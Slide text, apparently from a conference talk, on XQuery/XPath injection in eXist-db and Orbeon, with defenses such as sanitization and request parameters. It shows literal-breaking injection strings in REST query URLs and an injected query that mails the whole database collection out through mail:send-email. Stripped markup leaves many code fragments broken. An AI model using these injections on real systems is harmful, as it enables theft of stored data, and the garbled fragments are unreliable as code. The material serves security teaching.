Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.

Source: http://en.wikipedia.org/wiki/Code_injection

Can potentially affect any site using a SQL database (LAMP, WAMP, ...)!

Attackers target low hanging fruits on popular platforms

XQuery is just not (yet?) popular enough (don't be mad at me if I say so!)

Lack of awareness of XQuery injection

People tend to think XPath/XQuery are safe, but...

• XQuery Update Facilities
• Powerful extension functions
• Even the standard document() function is a risk

?_query=[ = ' ']]]>

http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=//user[mail=%27" + username + "%27]"

?_query=[ = ' ']]]>

:= ' or or .=']]>

?_query=[ = '' or or .='']]]>

{
    let $message :=
    
        vdv@dyomedea.com
        vdv@dyomedea.com
        eXist collection
        
            The collection is :
{util:serialize(/*, ())}
            
        
    

return mail:send-email($message, 'localhost', ()) 
}
]]>

1. With single quotes... failed!
2. With double quotes... failed!
3. With single quotes, encoded...
   
   

Of course, the eXist-db HTTP client module can do much better!

• Do not store non encrypted passwords.
• Limit the permissions of database users to the minimum (and use a user with read only permissions to perform read only queries)
• Do not enable extensions modules unless you really need them.

For XQuery literals, escape:

Use an extension function to get query parameters (when available)

//user[mail=request:get-parameter('mail', 0)]

• 1 (limitation) and 2a (sanitization) or 2b (query parameters)
• 2a is standard (more portable)
• 2b may be cleaner
• Beware of *:eval[uate]() (more later)

What about forbidding simple quotes as a protection?

This would work...

... and give Tim O'Reilly a reason to rant about yet another dumb site!

Sanitization

Parameters

Sanitization

  
  

document(concat('http://.../?_query=//user[mail=''', 
         encode-for-uri(san:sanitize-apos($user)), ''']')]]>

Parameters

  declare namespace request='http://exist-db.org/xquery/request';
  //user[mail=request:get-parameter('mail',0)]
document(concat('http://.../?mail=', encode-for-uri($user),
         '&_query=', encode-for-uri($query) ))]]>

Sanitization

Parameters

Sanitization

]]>

Parameters

  
    
    <_query>declare namespace request='http://exist-db.org/xquery/request';
      //user[mail=request:get-parameter('mail',0)]
  

]]>

We've covered "XQuery string literal injection"...

What else?

Worse than string literals (no delimiters)

You must validate numeric values before using them...

... or use them as string literals and cast them in XPath/XQuery.

If you use request parameters you must cast them anyway.

Safer than XQuery Update Facilities for element injection (no enclosed expressions)

Exposed to string literal injection through its XPath expressions.

Things are worse if the implementation supports XPath 2.0, XQuery update facilities and extension functions.

When available, request parameters are safe

Sanitization is similar than for XQuery

saxon:evaluate(), util:eval() and friends are injection prone.

Sanitization is a solution.

When used inside a query, you may need to sanitize twice!

Variables defined out of the call play the same role as query parameters for XQuery injection.

When used inside a query, query parameters are safe inside the call.

What about XProc, XPL, Schematron, W3C XML Schema 1.1, XPointer, ... ?

Any language that uses XPath is prone to similar injections...

... iff user input is copied into XPath expressions.

Seems less likely for these ones, but who knows?

Maybe a subject for XML Prague 2012!